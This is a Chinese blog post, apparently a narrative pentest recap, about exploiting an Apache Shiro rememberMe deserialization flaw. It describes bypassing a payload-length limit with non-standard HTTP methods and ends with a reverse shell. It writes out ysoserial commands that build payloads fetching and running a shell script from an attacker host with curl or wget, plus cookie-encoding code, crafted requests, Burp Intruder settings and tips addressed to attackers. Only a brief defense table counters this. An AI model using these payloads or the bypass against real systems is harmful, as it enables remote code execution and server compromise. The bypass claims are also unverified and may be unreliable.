当前位置: 首页 > article >正文

实战复盘:我是如何绕过那个烦人的Shiro反序列化长度限制拿到Shell的

突破Shiro反序列化长度限制的实战手记那天凌晨三点咖啡杯已经见底我盯着屏幕上那个熟悉的Shiro登录界面手指在键盘上无意识地敲击着。这已经是本周遇到的第三个使用Shiro框架的系统了前两个都轻松拿下但这个系统却让我栽了跟头——不是因为没有漏洞而是因为那个该死的反序列化长度限制。1. 初遇Shiro反序列化漏洞事情要从一周前说起。在对某企业系统进行授权渗透测试时Burp的被动扫描突然弹出一个提示检测到Apache Shiro框架。作为Java安全审计的老手我立刻来了精神——Shiro反序列化漏洞可是渗透测试中的低垂果实。我迅速启动了常用的Shiro反序列化利用工具填入目标URL和默认密钥点击执行...然后收获了一个令人困惑的错误HTTP/1.1 400 Bad Request Content-Length: 0 Connection: close可能是工具问题我心想。于是换上了业内知名的飞鸿哥Shiro攻击套件结果同样碰壁[ERROR] Payload delivery failed: Server rejected request with 400 status这时我才意识到遇到的不是普通的Shiro漏洞而是一个经过特殊加固的系统。2. 长度限制的发现与分析手工测试阶段我决定从基础入手逐步构建payload。使用ysoserial生成CommonsBeanutils1链java -jar ysoserial.jar CommonsBeanutils1 curl http://myvps/shell.sh | bash payload.bin然后将其Base64编码构造rememberMe cookieimport base64 with open(payload.bin, rb) as f: payload base64.b64encode(f.read()).decode(utf-8) print(frememberMe{payload})当我把这个cookie通过Burp Repeater发送时再次收到400错误。经过多次尝试发现一个关键现象当payload长度≤2100字符时请求正常处理超过这个长度立即返回400错误这明显是某种长度限制机制在起作用。通过对比多个Shiro版本文档和调试日志我确认这是开发人员有意设置的防御措施——不是WAF而是应用层实现的payload长度检查。3. 突破限制的探索之路面对这种限制我尝试了多种绕过方法方法一压缩payloadjava -jar ysoserial.jar CommonsBeanutils1 ... | gzip | base64→ 仍然超过长度限制方法二使用更短的命令wget -qO- http://myvps/shell.sh|bash→ 还是太长方法三分块传输编码POST /login HTTP/1.1 Transfer-Encoding: chunked ...→ 被服务器拒绝正当我准备放弃时一个偶然的发现改变了局面。在测试各种HTTP方法时我故意发送了一个不存在的HTTP方法FOO /login HTTP/1.1 Cookie: rememberMe...服务器返回了501未实现但关键的是——响应中出现了Shiro的rememberMe处理痕迹这说明非常规HTTP方法绕过了长度检查Shiro仍然处理了rememberMe cookie反序列化漏洞依然可利用4. 完整利用链构建基于这个发现我设计了完整的绕过方案生成精简payloadjava -jar ysoserial.jar CommonsBeanutils1 wget -qO- 1.1.1.1/s|sh | gzip | base64 -w0构造特殊HTTP请求CUSTOM /login HTTP/1.1 Host: target.com Cookie: rememberMe...使用Burp Intruder自动化攻击类型Pitchfork Payload set 1非常规HTTP方法列表FOO,BAR,XYZ等 Payload set 2不同长度的rememberMe payload成功响应特征HTTP/1.1 500 Internal Server Error Set-Cookie: rememberMedeleteMe; ...当看到这个响应时我知道反序列化已经触发立即检查服务器日志确认命令执行tail -f /var/log/apache2/access.log 1.1.1.1 - - [GET /s HTTP/1.1] 2005. 防御措施与对抗思路针对这种绕过技术防御方可以考虑以下措施防御措施实施方法有效性更新Shiro版本升级到1.7.0★★★★☆自定义密钥替换默认AES密钥★★★★★请求方法过滤只允许GET/POST等标准方法★★★☆☆多层长度检查在Servlet前添加过滤器★★★★☆而对于攻击方我的实战建议是保持payload精简优先使用wget/curl等短命令考虑分段执行先下载后执行方法轮询技巧methods [FOO,BAR,XYZ,TEST,CUSTOM] for method in methods: send_request(method, payload)自动化工具改造 修改现有Shiro利用工具增加非常规HTTP方法支持payload长度优化自动检测响应特征凌晨五点当第一个反向shell连接建立时我长舒一口气。这次经历再次证明在安全攻防的世界里没有绝对的安全只有持续的对抗。那些看似坚固的防御往往只需要换一个角度思考就能找到突破口。

相关文章:

实战复盘:我是如何绕过那个烦人的Shiro反序列化长度限制拿到Shell的

突破Shiro反序列化长度限制的实战手记 那天凌晨三点,咖啡杯已经见底,我盯着屏幕上那个熟悉的Shiro登录界面,手指在键盘上无意识地敲击着。这已经是本周遇到的第三个使用Shiro框架的系统了,前两个都轻松拿下,但这个系统…...

如何在Windows上完美使用PS4手柄:DS4Windows终极配置指南

如何在Windows上完美使用PS4手柄:DS4Windows终极配置指南 【免费下载链接】DS4Windows Like those other ds4tools, but sexier 项目地址: https://gitcode.com/gh_mirrors/ds/DS4Windows 想让你的PlayStation 4手柄在Windows电脑上获得原生游戏体验吗&#…...

LOSEHU固件终极指南:解锁泉盛UV-K5/K6对讲机全部潜能

LOSEHU固件终极指南:解锁泉盛UV-K5/K6对讲机全部潜能 【免费下载链接】uv-k5-firmware-custom 全功能泉盛UV-K5/K6固件 Quansheng UV-K5/K6 Firmware 项目地址: https://gitcode.com/gh_mirrors/uvk5f/uv-k5-firmware-custom 还在为原厂固件的功能限制而烦恼…...

给程序员的真心话:读研三年 vs 本科直接进大厂,我用亲身经历帮你算笔账

程序员职业路径抉择:三年读研与直接就业的量化分析框架 凌晨两点的宿舍里,显示器蓝光映照着代码与招聘网站交替切换的界面——这是无数计算机专业学子毕业季的常态。当"是否读研"这个问题摆在面前时,我们需要的不是泛泛而谈的"…...

APK Installer完整指南:在Windows上轻松安装Android应用

APK Installer完整指南:在Windows上轻松安装Android应用 【免费下载链接】APK-Installer An Android Application Installer for Windows 项目地址: https://gitcode.com/GitHub_Trending/ap/APK-Installer 想在Windows电脑上直接运行Android应用吗&#xff…...

pyannote.audio说话人日志实战:从零到生产级部署的完整指南

pyannote.audio说话人日志实战:从零到生产级部署的完整指南 【免费下载链接】pyannote-audio Neural building blocks for speaker diarization: speech activity detection, speaker change detection, overlapped speech detection, speaker embedding 项目地址…...

LabView条件结构避坑指南:布尔型、字符串、数值型输入的常见错误与解决方法

LabView条件结构避坑指南:布尔型、字符串、数值型输入的常见错误与解决方法 在LabView开发中,条件结构是最常用的编程元素之一,但也是最容易让开发者踩坑的功能模块。许多看似简单的逻辑判断,在实际运行时却可能因为数据类型处理不…...

SAP资产批量导入实战:手把手教你用BAPI_FIXEDASSET_OVRTAKE_CREATE搞定历史资产与当年折旧

SAP资产批量导入实战:BAPI_FIXEDASSET_OVRTAKE_CREATE深度解析 当企业面临系统切换或数据迁移时,历史资产与当年折旧的批量导入往往成为财务模块最棘手的挑战之一。不同于常规资产创建,这类场景需要同时处理跨年度的价值累积与当期折旧计算&a…...

告别“充不上电”:手把手教你用万用表排查直流快充桩常见故障(附检测点电压实测)

告别“充不上电”:手把手教你用万用表排查直流快充桩常见故障(附检测点电压实测) 作为一名在充电桩运维一线摸爬滚打多年的"老电工",我见过太多因为一个小电阻损坏导致整个充电站瘫痪的案例。今天,我就把压箱…...

从Arduino到STM32:手把手教你将GRBL固件移植到STM32F446RE开发板(附引脚配置详解)

从Arduino到STM32:GRBL固件移植实战指南 在创客和CNC爱好者社区中,GRBL作为一款开源的运动控制固件,因其高效稳定而广受欢迎。传统上它运行在Arduino的Atmega328P芯片上,但随着项目复杂度提升,许多开发者开始寻求性能更…...

Pixel Mind Decoder 辅助代码审查:识别开发者提交情绪与代码质量关联

Pixel Mind Decoder 辅助代码审查:识别开发者提交情绪与代码质量关联 1. 场景痛点:代码质量背后的隐藏因素 在软件开发团队中,代码审查是保障质量的关键环节。传统方法主要关注代码逻辑、性能指标等技术维度,却忽略了一个重要因…...

OmenSuperHub终极指南:解锁惠普OMEN游戏本全部性能的完整教程

OmenSuperHub终极指南:解锁惠普OMEN游戏本全部性能的完整教程 【免费下载链接】OmenSuperHub 使用 WMI BIOS控制性能和风扇速度,自动解除DB功耗限制。 项目地址: https://gitcode.com/gh_mirrors/om/OmenSuperHub OmenSuperHub是一款专为惠普OMEN…...

BERT中文文本分割镜像部署教程:Docker Compose编排多模型协同服务

BERT中文文本分割镜像部署教程:Docker Compose编排多模型协同服务 1. 引言:为什么需要智能文本分割? 想象一下,你刚刚参加完一场长达两小时的线上会议,录音转文字工具生成了一份密密麻麻、长达万字的文稿。没有段落&…...

Photoshop-Export-Layers-to-Files-Fast:告别繁琐图层导出的终极解决方案 [特殊字符]

Photoshop-Export-Layers-to-Files-Fast:告别繁琐图层导出的终极解决方案 🚀 【免费下载链接】Photoshop-Export-Layers-to-Files-Fast This script allows you to export your layers as individual files at a speed much faster than the built-in sc…...

Windows 11 LTSC微软商店安装终极指南:3步恢复完整应用生态

Windows 11 LTSC微软商店安装终极指南:3步恢复完整应用生态 【免费下载链接】LTSC-Add-MicrosoftStore Add Windows Store to Windows 11 24H2 LTSC 项目地址: https://gitcode.com/gh_mirrors/ltscad/LTSC-Add-MicrosoftStore 你是否在使用Windows 11 LTSC系…...

自制车模的福音:微型车模设计方案厂家开源了

简 介: 智能汽车竞赛引发关于厂商车模的争议:成品车模是否影响公平性?龙邱公司表示将开源车模设计文件,供参赛队伍参考。讨论焦点包括规则透明度、车模定位("鲶鱼效应"还是破坏公平)、评分标准优…...

忍者像素绘卷部署案例:高校AI实验室构建面向本科生的像素艺术实践平台

忍者像素绘卷部署案例:高校AI实验室构建面向本科生的像素艺术实践平台 1. 项目背景与教育价值 在数字艺术教育领域,如何让本科生快速掌握AI辅助创作能力成为教学新课题。某高校AI实验室选择"忍者像素绘卷"作为教学平台,主要基于以…...

如何轻松编辑暗黑破坏神2存档:d2s-editor可视化编辑器完整指南

如何轻松编辑暗黑破坏神2存档:d2s-editor可视化编辑器完整指南 【免费下载链接】d2s-editor 项目地址: https://gitcode.com/gh_mirrors/d2/d2s-editor 还在为复杂的暗黑破坏神2存档文件格式而烦恼吗?d2s-editor为您提供了一个直观、易用的Web界…...

The Verge员工推荐:50美元以下实用小工具,改善生活超划算!

1. 推荐背景在The Verge,我们常报道炫酷产品,但它们价格高昂。鉴于美国关税形势和全球内存短缺致产品成本上升,并非每个人此时都能花费大量金钱购买。因此,和去年一样,我们邀请The Verge的员工分享心仪的价格在50美元以…...

Qwen2.5-7B-Instruct效果展示:复杂嵌套JSON Schema生成+字段类型校验

Qwen2.5-7B-Instruct效果展示:复杂嵌套JSON Schema生成字段类型校验 1. 模型能力概览 Qwen2.5-7B-Instruct是通义千问最新发布的7B参数规模指令调优模型,在结构化数据生成方面展现出卓越能力。本次展示聚焦其两大核心能力: 复杂嵌套JSON S…...

rtrvr.ai AI 子程序:零 token 成本自动化脚本,解决网络智能体认证难题!

rtrvr.ai 产品介绍rtrvr.ai 提供多种产品服务,包括博客、预约演示、定价、API 文档、扩展程序、云端服务等。AI 子程序功能特点只需录制一次浏览器任务,就能将其作为可调用工具进行回放,零 token 成本,100% 确定性,认证…...

三步完成BilldDesk私有化部署:打造专属远程桌面控制平台

三步完成BilldDesk私有化部署:打造专属远程桌面控制平台 【免费下载链接】billd-desk 基于Vue3 WebRTC Nodejs Flutter搭建的远程桌面控制、游戏串流 项目地址: https://gitcode.com/gh_mirrors/bi/billd-desk BilldDesk是一款基于Vue3 WebRTC Electron…...

告别虚拟机!在Win11上用WSL2+Ubuntu22.04搭建RK3568开发环境(保姆级避坑指南)

在Win11上打造高效RK3568开发环境:WSL2Ubuntu22.04全攻略 嵌入式开发工程师们常常面临一个两难选择:要么忍受Windows系统下工具链不完整的痛苦,要么在虚拟机里与卡顿和资源占用作斗争。今天,我要分享的是第三种选择——利用WSL2在…...

League Akari助手:革新英雄联盟游戏体验的终极智能工具箱

League Akari助手:革新英雄联盟游戏体验的终极智能工具箱 【免费下载链接】League-Toolkit An all-in-one toolkit for LeagueClient. Gathering power 🚀. 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit 你是否曾在英雄选择阶段因…...

PyTorch 2.8镜像实战案例:RTX 4090D运行MiniCPM-Llama3-8B多语言问答

PyTorch 2.8镜像实战案例:RTX 4090D运行MiniCPM-Llama3-8B多语言问答 1. 环境准备与快速验证 1.1 镜像基础配置 这个专为RTX 4090D优化的PyTorch 2.8镜像已经预装了深度学习所需的所有关键组件: 核心框架:PyTorch 2.8 (CUDA 12.4编译版)加…...

新手避坑指南:在Ubuntu 20.04上搞定衫川Delta 2A激光雷达的ROS驱动与Rviz可视化

新手避坑指南:Ubuntu 20.04下衫川Delta 2A激光雷达的ROS驱动与Rviz可视化全攻略 第一次在ROS环境下连接第三方激光雷达时,那种"硬件已接通但数据死活出不来"的挫败感,相信很多开发者都深有体会。衫川Delta 2A作为性价比突出的2D激光…...

5个超实用技巧:用Snap Hutao工具箱让你的原神游戏体验提升300%

5个超实用技巧:用Snap Hutao工具箱让你的原神游戏体验提升300% 【免费下载链接】Snap.Hutao 实用的开源多功能原神工具箱 🧰 / Multifunctional Open-Source Genshin Impact Toolkit 🧰 项目地址: https://gitcode.com/GitHub_Trending/sn/…...

别再手动点点点了!用MeterSphere一站式搞定接口、性能与测试管理(附Docker部署避坑指南)

MeterSphere实战指南:从Docker部署到全流程测试自动化 在软件测试领域,重复劳动如同西西弗斯推石上山的永恒惩罚——测试人员不断编写用例、执行回归、分析结果,周而复始。传统测试工具各自为政,接口测试用Postman,性能…...

Windows平台Android应用安装神器:APK-Installer全面解析与实战指南

Windows平台Android应用安装神器:APK-Installer全面解析与实战指南 【免费下载链接】APK-Installer An Android Application Installer for Windows 项目地址: https://gitcode.com/GitHub_Trending/ap/APK-Installer 你是否曾经遇到过这样的困扰&#xff1a…...

从AMP到BMP:在ZYNQ上玩转多核任务绑定的三种模式对比与选型指南

从AMP到BMP:ZYNQ多核架构设计的黄金三角法则 当你在ZYNQ-7000平台上启动第二个Cortex-A9核心时,就像打开了潘多拉魔盒——性能提升的诱惑与资源冲突的风险并存。我曾亲眼见证一个工业控制器项目因为双核内存访问冲突导致产线停机,也参与过某医…...